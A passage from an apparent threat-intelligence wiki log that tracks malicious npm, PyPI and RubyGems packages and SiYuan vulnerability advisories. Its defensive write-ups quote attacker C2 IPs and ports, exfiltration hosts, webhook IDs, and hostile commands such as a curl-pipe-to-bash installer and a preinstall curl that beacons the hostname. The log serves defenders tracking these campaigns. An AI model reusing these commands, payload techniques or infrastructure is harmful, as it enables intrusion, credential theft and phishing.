455 dl/wk (three undeclared prebuilt executables incl. 81 MB Bun-compiled bin/cli-http-linux embedding already-query-bacteria-agreed.trycloudflare.com [not resolving at check], declared bin → absent file, README: run the binary to "activate the package in our systems", maintainer corraldev-machine hello@corraldev.com, zero GHSA, TAKEDOWN WATCH); helpersutils-dev-tools LIVE 193 dl/wk (require-time Image beacon http://5.189.173.113:8899/csp-edu + /csp in bypass.js, THIS WIKI: TCP-OPEN; yess321 bugbountykiller@outlook.com, 18 versions in 14 h, TAKEDOWN WATCH); wurl_show_data 3.1.42.99 RubyGems qualification probe (author izz00, homepage dependency-confusion-test.oob.izz.lol, summary "a POC:)", first on-wiki RubyGems instance of the class); 16467-16472 = July-backlog holder drain (@test1230504/ + z-deno-truth-). STATE CHANGE: turbo-ws git-tarball rail BROKEN, trktgq0wbre1/node-net-pool repo now 404 (package live, installs fail resolution). SURVIVOR PASS: @gsutevil/hta-ui LIVE day two + gsut.com paths answer; npmjs.it.com now HTTPS + still 400 invalid agent_id; googleadmanager 404 third sweep no holder; moidevl day 22 / my-company-device day 26 live; 193.149.176.186:8888 TCP-OPEN third sweep; cbrsuo9293 GET 200; webhook f9bff304 → 429. KEV unchanged 2026.09.22/1,721 at ~05:30 UTC (Sep 25 due <2 days). Full detail → twenty-fourth-sweep section. Twenty-third-sweep state, Sep 23 ~03:15-03:45 UTC: stream moved a SEVENTH time in ~48 hours, THIRTEEN new records MAL-2026-16433-16445 (16446-16460 empty; HIGH-WATER MAL-2026-16445, resume 16446), all amazon-inspector origin, ZERO GHSA mirrors for any of the thirteen at check. HEADLINE 16433 @vitemirrorte/element-plus-vite-cli 2.9.1 = THIRD artifact of the npmjs.it.com Gradle-masquerade RCE-agent family, first under a scope, with two escalations: activation gate now fingerprints the OSS project family mall4cloud-react by file-content hashes AND the second-stage AES-256-GCM key is DERIVED FROM THE VICTIM'S OWN WORKSPACE FILES (decode-pipeline.cjs) = payload undecryptable without the victim's repo; name already 404 (bare-404 rule); C2 re-probed POST /api/register STILL 400 invalid agent_id seven days on → Sep 23 section. Same window: 16444/16445 n8n-nodes-healthmon+n8n-nodes-metricsagent = two-name n8n-costume backdoor pair sharing one listener grammar (listen(41111,0.0.0.0), JSON field c -> child_process.exec, no auth, container-escape recon default command; both died 16h/7h BEFORE advising, delete-only = re-registerable; with data-transformer-utils still LIVE the n8n namespace is a confirmed costume class, template key 0.0.0.0:41111 + c-field-to-exec); 16443 my-company-device LIVE 26 days zero-GHSA (npx appends hardcoded ssh-ed25519 key sunyiting-macmini to authorized_keys over Tailscale + installs worker that SPAWNS THE VICTIM'S OWN codex/claude CLIs with caller-supplied argv/cwd/env, agent-dispatch-as-payload class, maintainer ksana0 yiting_sun@icloud.com); 16441/16442 moidevl(LIVE since Sep 1)/moudeva exam-cheating overlay pair on the non-registrable ipc.shadxino.internal (DPAPI-decrypts Chrome/Edge/Brave cookies for openai.com/chatgpt.com/auth0/auth + injects into embedded Electron; WDA_EXCLUDEFROMCAPTURE SearchApp.exe masquerade; 27MB uia_extract.exe); 16434-16437 webhook.site+dnshook.site dependency-confusion probe fleet (alrwsy1 xxmsm75@gmail.com two names LIVE sharing webhook UUID f9bff304-3053-4d54-be05-86537267514a; catplatebarcodeparser/catqrcodeconverter deleted ONE second apart 17:47:07/08); 16438/16439 internallib_v497 (LIVE, curl-pipe to PRIVATE RFC1918 10.0.5.109, self-dependency doubling)/_v550 (description literally 'pwn', self-deleted 30 min, time block shows versions OSV never saw); 16440 turbo-ws LIVE sole-dep = unpinned GitHub main-branch tarball from unrelated account trktgq0wbre1 (repo 200 at check) while description claims zero dependencies. SURVIVOR PASS: googleadmanager 404 second sweep NO holder = NOT takedown; @gsutevil/hta-ui fraud UI STILL LIVE day one (156,665 b byte-identical); @tvg-mar x5 live; 193.149.176.186:8888 TCP-OPEN second sweep; cbrsuo9293 GET 200/POST 404; @wizloft no re-registration. KEV unchanged 2026.09.22/1,721 at ~03:25 UTC. NOTE: research.jfrog.com/feed.xml now 404 (endpoint moved; page watch unchanged). Twenty-second-sweep state, Sep 23 ~01:15-01:55 UTC: stream moved a SIXTH time in ~36 hours, FOURTEEN new records MAL-2026-16419-16432 (16433+ empty; HIGH-WATER MAL-2026-16432, resume 16433). HEADLINE 16419 @gsutevil/hta-stage 1.62.0 = the stream's first Windows installation-stage loader (HTA/WSH: AMSI-for-WSH disable via dual WScript+WMI AmsiEnable=0 registry write, COMPUTERNAME/USERNAME beacon to base/v1/hta/event, silent msiexec-uninstall of prior product 'GSUT Guest', token + msiexec /i base/guest.msi?t= from a runtime webpage-supplied base URL, all strings char-array-rebuilt, GHSA-95xp-29r3-v466 critical), and its scope-mate @gsutevil/hta-ui 1.62.0 published 66 s earlier is STILL LIVE with tarball read by this wiki: a Banco do Brasil phishing landing kit (pt-BR 'Seg.BB - Diagnostico do Modulo de Seguranca', real BB logo assets, genuine SAC 0800 729 0722, CONCORDO funnel commented 'Funil GSUT', package.json 'GSUT HTA landing templates (static UI only - ADR 0084)'), publisher cryptodomespag robertasilvan172@gmail.com; gsut.com = registrar parking lander while /v1/hta/event + /guest.msi + /v1/hta/msi-token still answer (GET 200 lander-HTML/POST 405) = hunt URI grammar not domain; no guest.msi hash on record = payload unknowable; asymmetric disposition: loader neutralized (npm-support, tarball 404) fraud UI still downloadable → GSUT page. 16422-16432 = @wizloft/harness-* scope holder-erased 00:20-00:24 UTC Sep 23 (base package shows EIGHT genuine alpha releases Aug 17-Sep 6 before the wipe; compromised legit project or dressed-up dev = unknowable; Wiz-lookalike, no Wiz Research relationship; broader GHSA wave 00:20-00:35 UTC carries @httttt/mcp-demo, agora402-payment-utils, anhn-cli, evm-validation, hardhat-hold, devplatform-sdk, bigops-, bnpl-blocks-, all 0.0.1-security); 16420/16421 kerokwis v99 dual-registry (RubyGems live + PyPI 404 = second RubyGems-latency point). SURVIVOR PASS: googleadmanager 404 FIRST TIME ~231 h (bare-404 rule = no-longer-resolving NOT takedown, holder check next sweep); five @tvg-mar LIVE; n8n-nodes-data-transformer-utils LIVE + 193.149.176.186:8888 TCP-OPEN 6h post-GHSA; cbrsuo9293.execute-api still 200; ubiquiti 0.2.1 unchanged Ubiquiti silent; Sep 22 evening batch GHSA-mirrored 00:31 UTC (~2.5h pipeline clock). KEV unchanged 2026.09.22/1,721 at ~01:35 UTC. Twenty-first-sweep state retained below: stream moved a FIFTH time today, NINE new records MAL-2026-16410-16418 (five stream moves in one calendar day, unprecedented cadence): 16412-16416 = FIVE new algamil7x DNS-family members in one scope @tvg-mar/ (promos-context, promos-gtm, storyblok-bridge, tvg-promos-atomic-ui, utils) ALL published by betfairpoc@algamil7x.xyz, FIFTH on-domain publisher email, <brand>poc@ grammar now covering a gambling lure; this wiki forensics: all five LIVE, 9.9.9 batch-created 10:23:34-10:24:24 UTC in one scripted 50-second window, malicious 9.9.10 REPUBLISHED individually across 13:54-18:39 UTC while all advisories landed 21:50 UTC = created marks the squat / per-version timestamps mark the arming, sixteen named family members, zero GHSA → twenty-first-sweep section; 16418 n8n-nodes-data-transformer-utils 1.0.0 = full-tarball read by this wiki: n8n community-node lookalike, plain-JS postinstall steals env-sorted/SSH keys/K8s SA token/n8n config to 193.149.176.186:8888/lombard/n8n-rce (probed TCP-OPEN) then attacks hardcoded internals FROM the victim, raw-socket Redis KEYS *+value dumps vs Tailscale CGNAT 100.72.158.36:6379 + Docker-bridge 172.18.0.1:6379, etcd :2379 recursive dump, portscan Vault 8200/Consul 8500/kube 6443/kubelet 10250 = rebuilt engagement tool with the operator's OWN lab addresses published as a package, LIVE, maintainer n8nutil1790104552@uberip.com; 16417 eslint-config-compact-utils require-time CI/repo-identity beacon (CI+RUNNER_NAME+GITHUB_REPOSITORY as query params) to cbrsuo9293.execute-api.us-east-1.amazonaws.com/c HTTP 200 live though both versions unpublished 20:50:30 UTC while advised = AWS-API-Gateway-outlives-package (third instance after nodetokyo/ipcheck-hashed, third hosting class); 16410 auclean PyPI kam193 campaign 2026-09-auclean, kam193's own text NAMES the target (DACON AI-audio competition #236749 infrastructure), 404 pre-advisory; 16411 no-fun 999.99.99 RubyGems still listed at check. Update: ubiquiti-agents-link-mcp 0.2.1 published 22:25:18 UTC ADDED cat .env + cat package.json + ls / to exfil while live. HIGH-WATER MAL-2026-16418, resume 16419. KEV unchanged 2026.09.22/1,721 at ~23:00 UTC. Twentieth-sweep state retained below: Sep 22 ~20:40-21:20 UTC: stream moved a FOURTH time today, one new record MAL-2026-16409 ubiquiti-agents-link-mcp 0.0.1+0.0.2 (OpenSSF Package Analysis finder, published 19:50:54 UTC = FOURTEEN minutes after the name's first publish at 19:36:12 UTC, the fastest on-wiki publish-to-advisory interval recorded; 0.0.2 re-imported 20:40 UTC): the npm name registered claiming that Ubiquiti's UniFi Site Manager UI/agent relays instruct operators to run npx ubiquiti-agents-link-mcp@latest while the name sat unclaimed; self-labeled security research placeholder (no install hooks, the npx command IS the execution path; execSync id + username + hostname POSTed to uhffaanwxy0io5bfc0icu5lpug07o9cy.oastify.com; 0.2.0 published 20:34:05 ADDED ls -la + cwd = exfil widening under mutable latest in real time); maintainer deadinfluence <npm@graphics4us.com>; this wiki pulled + read all three tarballs, probe Collector HTTP 200 LIVE, zero GHSA, downloads API has not indexed the name; Ubiquiti UI claim UNCORROBORATED at capture, full pattern page → product-instructed npx squat pattern page. HIGH-WATER MAL-2026-16409, resume 16410. KEV MOVED AGAIN same day: 2026.09.22 / 1,721, four security-product rows all due 09-25 (F5 BIG-IP APM 94127 ITW, Check Point 93616 zero-day + 85102 one-day, Arista VCO 93952) → Sep 22 KEV batch page. Nineteenth-sweep state retained below. Prior state, nineteenth sweep: stream moved a THIRD time today, 21 new records MAL-2026-16388-16408: 16388 nodetokyo 1.0.8 (require() silently installs Python 3.12 + pyautogui stack, clipboard POST every 300 ms + screenshots every 30 s to hardcoded nodetokyo.vercel.app/api, lived ~12 h Aug 28-29, advised a month later, C2 probed by this wiki STILL LIVE HTTP 405 = free-tier serverless C2 outlives the package) + 16389 noverojava 1.0.9/1.1.0 (THIRD live package declaring the same unpinned github:tenka-san/libsignal-node after @mr-supun-fernando/supunmd-bail + @mikudeveloper/baileys, one GitHub account flip arms all their installers; fork re-verified benign, parent canove/libsignal-node; LIVE, no GHSA, recorded on the Baileys page) + 16390 oracle-redis 5.11.3 (verbatim-copy ioredis entry package + exactly two unused caret deps redis-type-intel ^1.10.5 + pino-ulid ^2.12.2 = the ulid-xyz transitive-arming design rebuilt under cloned name-fragment grammar; this wiki: entry LIVE 65 dl/wk, redis-type-intel holdered = chain resolution-fails today, pino-ulid delete-only with surviving unpublished block = live fuse if 2.12.x re-registers → ulid-xyz page Sep 22 section) + 16391-16405 GHSA-bot batch (15 names all already 0.0.1-security, holder-created 18:11-18:23 UTC: four ndmc-themed + four keyboard-walk gibberish + seven utility squats, disposable-name grammar watch) + 16406-16408 kam193 PyPI 2026-09-snap-queue trio (crypto-trader-py, poly-check-b, snap-queue, all 404 at check = deleted pre-advisory). HIGH-WATER MAL-2026-16408, resume 16409. KEV unchanged 2026.09.21/1,717 at ~19:20 UTC, fifth check today, no Sep 22 batch. Correction: chai-logger unpublished 17:47:43 UTC while advised (delete-only). googleadmanager byte-identical ~226 h. Eighteenth- and seventeenth-sweep states retained below. Prior state, eighteenth sweep: FIVE new records 16383-16387, all Amazon-Inspector: MAL-2026-16383 mxdriver + 16384 tldriver + 16385 tlxbnhd = one gldriver-family dropper trio (obfuscator.io preinstall+postinstall fetching api.imghippo.com/files/hOG8244hc.png → writes gldriver_pre_core/asset.exe → mspaint/open/xdg-open opener → self-delete; three names published in an 11-min window 03:39-03:50 UTC, ALL THREE unpublished 07:37:56-07:37:58 UTC two seconds apart per this wiki's time-block pull = synchronized batch self-deletion, no security-holder, downloads 0/0/0, imghippo asset now HTTP 403, payload permanently unknowable) + 16386 @mikudeveloper/baileys + 16387 @mr-supun-fernando/supunmd-bail (Baileys-sphere, NEW delivery rail: unpinned github:tenka-san/libsignal-node git dependency = install-time execution with zero code in the tarball; both LIVE, @mikudeveloper/baileys 113 dl/wk, zero GHSA). HIGH-WATER WAS MAL-2026-16387. Prior state, seventeenth sweep: RESUMED at 16378, five new records, all Amazon-Inspector, published 13:56-13:58 UTC: MAL-2026-16378 @tesla-insurance/vinless-quote 9.9.10 + 16379 @user-services/web-components 9.9.10 = algamil7x DNS-family members 10+11 whose npm publisher emails sit ON the attacker domain (teslapoc@algamil7x.xyz / vrtpoc@algamil7x.xyz, completing the <brand>poc@algamil7x.xyz pattern with emarketerpoc@ + metamaskpoc@; both still live, vinless-quote 65 dl/wk, no GHSA at check; 16380 chai-logger 3.0.2 = 4 MB obfuscator.io blob at import with pino-source filler + axios-for-the-blob, still installable, jsonspack.com author; 16381 cisco-github-simple + 16382 take-home-caller-id = preinstall /etc/passwd+/etc/hosts POSTs to two FRESH Burp Collaborator subdomains, BOTH operator-self-deleted 4 minutes after creation per surviving time blocks (no holder, no GHSA, publish-and-delete names are invisible to advisory-keyed consumers; the OSV detail text is the entire public artifact). HIGH-WATER MAL-2026-16382, resume 16383 (16383+ empty). KEV unchanged 2026.09.21/1,717 at ~15:40 UTC, third check, no batch; lag queue three deep. Survivor pass twelve: ALL live byte-identical (googleadmanager ~214 h). CORRECTION: mathmain trio GHSA mirrors DID exist (GHSA-v6mx-2p6p-3628/GHSA-v4cx-64j6-84xm/GHSA-97cg-r346-fg22, within 2 min of each holder creation), the trio page's "Zero GHSA" line was a LIST-endpoint artifact. Prior mechanics retained below.) (this wiki now sweeps OSV MAL-2026-NNNNN ID ranges for modified movement as a durable channel; GHSA's affects=npm&published= API filter proved unreliable in Sep 20-21 sweeps while direct-ID and query=is:malware calls worked; second API quirk recorded Sep 21: the advisories LIST endpoint's ghsa_id= filter also returns EMPTY for fresh malware advisories, use GET /advisories/{GHSA-id} direct or affects={pkg}). Sep 21 third-sweep durable method addition, the npm registry time document is a forensic record that survives removal: created, per-version timestamps, modified, and an explicit unpublished block (timestamp + exact version list) persist even when versions is empty; pull the time block BEFORE concluding exposure windows (this corrected our own "5-day exposure" read on element-plus-vite-cli to the true ~8.5 hours, versions removed Sep 16 16:34 UTC, five days before the advisory; gap = detection latency). September 21, 2026 batch captures: (1) npmjs.it.com Gradle-masquerade full-RCE agent pair, MAL-2026-16318 (@asenfotech/unplugin-element-plus) + MAL-2026-16331 (element-plus-vite-cli): base64-chunk dropper → MJS agent in ~/.gradle-cache, register/long-poll to npmjs.it.com (npmjs.com lookalike, LIVE at this wiki's check), operator exec/download/upload/delete task suite, import-time path gated on nine fintech/trading sentinel files; monitor C2 takedown, agent UUID / .aid sighting reports, copycat adoption of Gradle-cache naming, any vendor writeup (none at capture) → npmjs.it.com agent pair page (GHSA mirrors published Sep 21 06:30 UTC: GHSA-j296-5jqh-9cxv + GHSA-2w5j-q26r-6m9w; third-sweep correction on-page: true malicious-artifact exposure was ~8.5 h on Sep 16, not 5 days). (2) Telegram chat_id 1064260758 dependency-confusion recon fleet, MAL-2026-16319/16320/16321/16322/16326/16330/16343/16345 (siriusbeyond, @siriusbeyond/auth|ui|utils, commerce-materials, byted-commerce-materials, starbucks-sdk, @dbbhk/ui-components): env-var-NAME beacons to one Telegram chat + dc-callback.example.com DNS fallback; @dbbhk variant steals IMDS/ECS/AWS-files/K8s-SA values; ALL NINE still live at Sep 21 check, monitor npm takedown, chat-ID/token reuse in new packages, follow-on payload wave at beaconed orgs → Telegram chat cluster page (GHSA mirrors published Sep 21 06:30 UTC, all CVE-less: GHSA-4pq9-9r53-4chh siriusbeyond, GHSA-5x48-2mvx-rc23 / GHSA-vw2m-5qq2-7qwg / GHSA-446r-4pr8-w423 @siriusbeyond/auth|ui|utils, GHSA-hwx5-436m-736q @dbbhk/ui-components, GHSA-79cv-pg4c-wmph commerce-materials, GHSA-j9hx-j6cf-phx5 byted-commerce-materials, GHSA-6m74-h462-fr23 starbucks-sdk, GHSA-fqjq-jxmv-48qv homestack-cheer, GHSA-r55v-7qcq-fvr9 my-cdn-script; second same-day re-check: all nine STILL live); adjacent same-window chai-as-viem (GHSA-c67f-wr24-prw9, critical, still installable 1.1.3, third chai-as-* vercel.app server-supplied-code package; chai-as-indexed versions since fully unpublished). (3b) NEW fifth-sweep item, radio-player-theme (MAL-2026-16347, OpenSSF Package Analysis finder smiling-hyena, PR #1539 merged Sep 21 08:44 UTC): a CSS-themed npm package with NO install hooks whose entire executable content is a self-labeled bug-bounty XSS "PoC" (payload.js) that steals document.cookie (incl. MANAGER-XSRF-TOKEN) + origin to hardcoded collaborator bfuntjuvcnxl49hcbpklk3ube2ks8h.oastify.com, and the delivery rail is the PUBLIC CDN: this wiki verified cdn.jsdelivr.net/npm/radio-player-theme@6.0.0/payload.js serving the hash-matched payload live, so the blast radius is every site whose CSP trusts jsDelivr; latest=6.0.0 installable, zero deprecation flags, no GHSA mirror, authorization claim unverified → recorded on the PhantomRaven page Sep 21 section; monitor GHSA mirror, npm/jsDelivr disposition, and copycat adoption of PoC-shaped CDN-routed payloads. (3c) rrs (MAL-2026-16346, PyPI) dual-source detail: unconditional full-screen mss screenshot POST to a hardcoded Discord webhook at CLI launch + 5-second MQTT identity beacon to world-readable topic rrs/v1/presence on broker.hivemq.com. OSV malware ID high-water CORRECTED this cycle, settles at MAL-2026-16347 (16348+ empty at 13:35 UTC; the earlier 16429 note was stale); resume direct-ID sweeps at 16348. SEVENTH-SWEEP UPDATE (Sep 21 ~17:00-18:00 UTC): sweep resumed at 16348, MAL-2026-16348 (hardhat-base) + MAL-2026-16349 (hardhat-devkit) = members 4 and 5 of the ipcheck-hashed[.]vercel.app require-time server-code cluster (now promoted to its own page → ipcheck-hashed cluster page; time blocks: base lived ~11 h Sep 14, devkit 47 min Sep 17, both dead days before their advisories; this wiki verified POST /api/auth/f1f097d93c318c92f0c5 answers HTTP 200 one week post-advisories = removal ≠ remediation when the C2 is a free-tier Vercel redeploy); MAL-2026-16350 (bnppf-flag-icons, webhook.site identity-stub beacon, 99.99.99 dependency-confusion shape) below bar as stream state. HIGH-WATER WAS MAL-2026-16350. EIGHTH-SWEEP UPDATE (Sep 21 ~20:15-21:15 UTC): sweep resumed at 16351, a dense batch: cluster members 7-9 of the algamil7x family (MAL-2026-16351 @baanx/abis + 16352 @baanx/blockchain-config, tags bxabis/bxcfg, both republished 9.9.11 TWO HOURS before their advisories = advisories-as-version-bump-prompt; 16353 @insiderintelligence/componentlibrary tag iiclib, live-republished same day) + NEW neighbor fleet @uh-platform/cloud|domain-widget|nadaver|nadaver2|webcard (16358/16359/16360/16361/16362, preinstall curl http://$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/ variants sharing ONE Burp Collaborator collector, inflated 99+/100+ versions, dependency-confusion qualification shape, ALL LIVE) + NEW DELIVERY CLASS gemini-computer-use 0.1.2 (16355: NO install hook, the npx entrypoint itself spawns curl -fsSL https://smart-server.online/install.sh | bash / PS irm|iex fetching agent.py/server.py from smart-server.online; AI-tool name-squatting as npx-execution bait; live) + below-bar: 16354 @woodpecker-web-shared/components (webhook.site loMesb tag; malicious 2.20.5 sits BELOW live latest 4.20.5), 16356 starlette-healthchecks (PyPI, kam193 campaign 2026-09-starlette-healthcheck), 16363/16364/16365/16366 stubs. STATE CHANGE: 16367/16368/16369 = npm TOOK DOWN the mathmain trio (19:48/20:05/20:06 UTC, all three now 0.0.1-security security-holder packages, takedown-metadata signature recorded on the trio page; farm + rest of campaign inventory untouched) → trio takedown section. HIGH-WATER WAS MAL-2026-16369. NINTH-SWEEP UPDATE (Sep 21 ~23:00-23:35 UTC): resumed at 16370, one new record: @uol-afiliados/affiliated-config-lib 102.0.0 (MAL-2026-16370, live, no GHSA) = tenth member of the beacon-fleet template, 8-line preinstall exec(curl http://$(hostname).$(whoami).afiliados.hqbv58hgt1sjk7vf7ru4o0mwzn5etahz.oastify.com/), the class's THIRD distinct live Burp Collaborator collector in four days (after ii473egh… in the @pwaplatform canary and pa33pg1o… shared by the @uh-platform five), the Collaborator subdomain string itself is the durable cluster key: wildcard-resolves, survives renaming/version bumps, hunt resolver logs for the subdomain without knowing any label grammar; scope name = targeting (@uol-afiliados ≈ UOL-Brazil internal affiliate namespace, inflated 102.0.0 = dependency-confusion qualification shape; tarball pulled + analyzed by this wiki). DURABLE BEHAVIOR CONFIRMATION cross-registry: starlette-healthchecks (PyPI 16356) uploaded 1.3.2 at 20:04:37 UTC, 3h14m AFTER its own 16:50 UTC advisory = the @baanx advisories-as-version-bump-prompt loop now replicated on PyPI with a second finder source, for this actor class the advisory feed is a build trigger, not a stop signal; monitor whether this holds for the next advised names on both registries. Also verified live this sweep: pullgetsage (PyPI 16366) re-armed v0.1.0-0.1.2 at 2-h cadence while advised, its Telegram-Desktop-tdata exfil Worker red-poetry-6b6f.martinmcflywork.workers.dev answers HTTP 405 (deployed, POST-ready); bytepack-probe-a7x3 (16364) npm time block shows 9-minute lifetime Sep 7 + src-ssrf.bytedance.net RESOLVES today (CNAME inner-all.toutiao-internal-all3.hl.bytelb.net) making the URL-pinned-dependency class real not theoretical, static hunt: dependencies: specs that are URLs not semver ranges. KEV unchanged 2026.09.21/1,717 (JSON re-verified). HIGH-WATER NOW MAL-2026-16370; resume at 16371 (16371-16380 empty at check). None of the evening's new names has a GHSA mirror at check. TENTH-SWEEP UPDATE (Sep 22 ~01:15-01:45 UTC carry-over): sweep resumed at 16371 - three new records: MAL-2026-16371 (@vite-tab/tabui, an eighth Vite-shaped name absent from Checkmarx's July ViteVenom list, holder-created 23:15 UTC with ZERO surviving versions - the deletion erased its own exposure record), 16372 (@zig-design-system/react), 16373 (wos-library); 16374+ empty = HIGH-WATER MAL-2026-16373, resume at 16374. THE EVENING'S MIRROR WAVE CLOSED: OSV-to-GHSA latency measured 3-4 h across the whole night's batch (18:31/21:31/00:31 UTC waves), @baanx/solana-lib finally mirrored GHSA-pvh9-27rp-6282, mathmain trio GHSA mirrors landed 40 s to 30 min after each npm holder creation = registry takedown + advisory mirror are coordinated actions. NEW MECHANIC: npm security-holder batch sweeps arrive minutes-wide but months late - the same 23:12-23:17 UTC window holder-created five of seven ViteVenom names whose OSV advisories sat since Jul 14 (69-day advise-to-neutralize gap; versions-purged names stayed resquattable the whole time), 23:36-23:40 cleared the wos-library/wos-library-ui/react-context-form-tdsss July backlog. NEW ACCOUNT PIVOT: registry publisher email jpmaia@uolinc.com shared by @asdfaskdjfksadhfkasf/nadaver2 and @uol-afiliados/affiliated-config-lib = the collector-#3 fleet and the @uh-platform neighbor fleet are one account; shupengwei13@gmail.com = first on-wiki ViteVenom publisher email (from @vite-tab/tab's surviving 3.15.10/5.7.0 time blocks). TWELFTH-SWEEP UPDATE (Sep 22 ~05:15-05:45 UTC): resumed at 16374, three new records, a set: MAL-2026-16374/16375/16376 = test-react-app-in/out/way, ALL three holder-created at 03:15:11-03:15:19 UTC with ZERO surviving versions (never seen by any public report, deleted mid-detection; sha256 tarball origins in their GHSAs are the only surviving artifact evidence; last-week downloads 0/0/1 = dead on arrival). THE PIPELINE CLOCK MEASURED END-TO-END: holder created → GHSA +37 s → OSV import +15 min → ossf/malicious-packages ingest commit +15.5 min → Assign-IDs commit +17 min = fully automated delete→advise→mirror→assign with no human step. BASELINE REVISION: the 3-4 h OSV→GHSA latency holds only for names the GitHub malware bot sees LIVE; the SAME 03:15-03:17 UTC window batch-mirrored three Aug-era amazon-inspector OSV names that had sat GHSA-less 34-45 days (de-morgan MAL-14264 Aug 19→GHSA-2vc2, 45 dl/wk; transform-es2015-unicode-regex MAL-13612 Aug 7→GHSA-jcxm; emoji-prints-fancy MAL-14298 Aug 19→GHSA-m523, 48 dl/wk) AND holder-created them in the same breath, GHSA-only consumers (Dependabot etc.) were blind to actively-downloading packages for 5-6 weeks while OSV consumers were warned; watch BOTH feeds. HIGH-WATER MAL-2026-16376, resume 16377 (16377-16395 empty). KEV unchanged 2026.09.21/1,717 at ~05:30 UTC. SITE MECHANIC NOTE (ninth sweep): Microsoft Security Blog RSS now serves a block page to curl; StepSecurity's feed endpoint returns stale 2023-era items (do not trust its recency, discover new posts via their site/sitemap or X amplification). (3) algamil7x sixth member** MAL-2026-16300 (@baanx/solana-lib, Thai-fintech scope squat, bxsol DNS prefix, still live; tarball-verified by this wiki), recorded on the algamil7x page Sep 21 section. Same batch's below-bar sets logged on the Telegram cluster page (nip.io 147.93.157.202 reverse-shell squats @nimbusedge2/*+@nimbsuedge3/xar; webhook.site/Pipedream/CTF-flag stub beacons; my-cdn-script Alpha Bank card skimmer → ungpkg.top/gate [522 at check]; homestack-cheer dual-entrypoint ESM Stripe-iframe skimmer, the skimmer pair may merit its own page if further Greek/EU e-commerce victims surface).
• GitHub Security Advisories September 3, 2026 SiYuan batch (20 GHSAs), monitor the SiYuan kernel repository, the self-hosted SiYuan community, and CISA KEV for: exploitation evidence or a KEV listing (none reported as of capture), PoC publication, and adoption tracking of the v3.8.3-alpha.1 hardening across self-hosted instances. The batch is dominated by the publish-mode read/write boundary collapse: Publish.Auth.Enable=false (the default when "share links" are used) makes the reader token equivalent to full workspace access, and three endpoints (fullTextSearchAssetContent, searchEmbedBlock, backlink/mention search) pass client-supplied full SQL statements verbatim to a read-write siyuan.db handle through a statement-stacking-capable driver with no read-only guard. The two non-obvious tells are (a) the localhost-trust admin bypass, loopback RemoteAddr on a fixed-port reverse proxy with no SetTrustedProxies makes the "local admin" boundary remotely reachable, and (b) the second-order SSTI→SQL path, where a malicious imported AV/AV-package executes arbitrary SQL at import time, so the attacker's document is the weapon. No actor or infrastructure named; patch-now posture. See SiYuan kernel publish-mode batch page. OCTOBER 1 FOLLOW-UP (this wiki, GHSA API pull): a SECOND seven-advisory batch published 14:38-16:29 UTC, GHSA-33jq-p8c2-q3q4 / CVE-2026-69085 critical: searchDocs unauthenticated SQL injection via unescaped keyword = the FOURTH unauth SQL-execution endpoint in the same API surface, read/write across all cleartext notebooks via statement stacking; patched at the same 2026-07-21 hardening window (pseudo-version 0.0.0-20260721043339-eef10568384e) = the vendor's boundary review is still producing findings weeks post-patch, expect more batches; six medium/high disclosure additions (CVE-2026-72788/73605/73606/73607/73609 + GHSA-9cqf-hhrq-7v45); zero-poC/zero-ITW/zero-attribution status unchanged; monitor: OSV alias absence at check (OSV-keyed consumers blind), further batches, KEV row. OCTOBER 2 FOLLOW-UP (fifty-second sweep, GHSA API pull): a THIRD batch, GHSA-4vpg-gwqq-w44c / CVE-2026-74904 published 23:05:33Z, high 7.5, CWE-862/204: automated access-check-presence sweep of kernel/api/block.go found 17 of 28 /api/block/* handlers with ZERO publish-access checks (getRefText = anonymous real block-content text for ANY ID; checkBlockExist/checkBlockRef = workspace-wide existence oracles combining with the Oct 1 batch's getIDsByHPath title-guessing into a private-content read path); fix pseudo-version dated 2026-08-04 (0.0.0-20260804015139-bd067a4fe9b2) = SECOND hardening window, boundary review two windows deep and still producing findings; reviewer recommends grepping EVERY /api/* handler for the guard token's absence = expect a fourth batch; OSV imports the GHSA at check (unlike Oct 1's critical); zero PoC/ITW/attribution unchanged → Oct 2 follow-up section. OCTOBER 3 FOLLOW-UP (fifty-third sweep): a FOURTH batch landed 22:46-23:17Z, inside thirty minutes of the third, before this wiki could even close its sweep, and it moves to the MCP/agent-tool surface: GHSA-x8gv-g2g3-65fj (high) Agent Tools SSRF via DNS-rebinding TOCTOU defeating both CheckHostSSRF and SSRFSafeDialer, self-labeled incomplete-fix variant of GHSA-rg26-cg95-gq6p, prompt-injection delivery, reachable with SafeMode on OR off; GHSA-p23f-cm6q-2qp8 (medium) MCP asset.upload copies ANY absolute host path into the workspace, boundary check entirely absent, residual of CVE-2026-66012; GHSA-3cc2-h3v6-rqpq / CVE-2026-74802 CSWSH on admin-only /ws/network/proxy via explicit CheckOrigin: true override at kernel/api/network.go:501 (WS handshakes bypass CORS preflight; grep-hunt CheckOrigin→true across gorilla/websocket products). Fixes dated 2026-08-13 = THIRD hardening window (Jul 21 → Aug 4 → Aug 13); build floor for agent/MCP-enabled instances now release 3.8.1. Two of three advisories name the prior GHSA they residual = the reviewer audits FIXES, not just code; expect fix-residuals in untouched files. All three OSV-imported at Oct 3 check; zero PoC/ITW/attribution unchanged → Oct 3 follow-up section.
• GitHub Security Advisories (Atom/API watch for newly published or materially revised package advisories with operational defender value, including September 20, 2026: GHSA-26h7-cmv3-wgv6 / OpenSSF MAL-2026-16299, @pwaplatform/module-sso-integration, the npm package that self-labels a "benign canary" for an authorized T-Bank bug-bounty dependency-confusion test, preinstall+postinstall fingerprint of installer + installing repo (git remotes, branch, dep list, CI vars) exfiltrated to sobaka-kusaka[.]ru:8000/:8898 + a hardcoded oastify.com Collaborator subdomain, headers npm-canary/1.1 / X-Bug-Bounty: vd_danilov, STILL live (latest 99.0.1) at check, captured on our algamil7x page Sep 20 second-sweep section; monitor takedown, T-Bank/npm confirmation or denial of the authorization claim, and vd_danilov/sobaka-kusaka.ru/npm-canary reuse; September 18-20, 2026: the algamil7x npm DNS-exfil recon cluster, five Amazon-Inspector-sourced malware advisories in one day (GHSA-hvcc-qwg6-972c @tink/tink-link-core, GHSA-vmr9-5w3x-4v98 @shared-web/assets, GHSA-29f7-pqf4-c94j @shared-web/utils, GHSA-g85c-jph7-8q4r @shared-runtime/modules, GHSA-76rx-jxhm-vhww @insiderintelligence/googleadmanager) sharing one install-script/require-time family that DNS-label-beacons installer username+hostname+cwd to oob.algamil7x.xyz = target qualification with no second stage; live check: four names gone, @insiderintelligence/googleadmanager STILL live (latest 9.9.10), see algamil7x cluster page; monitor the survivor's takedown, domain rotation, and any follow-on payload wave; also note Amazon Inspector is now a recurring structured feeder for npm malware advisories, descriptions carry 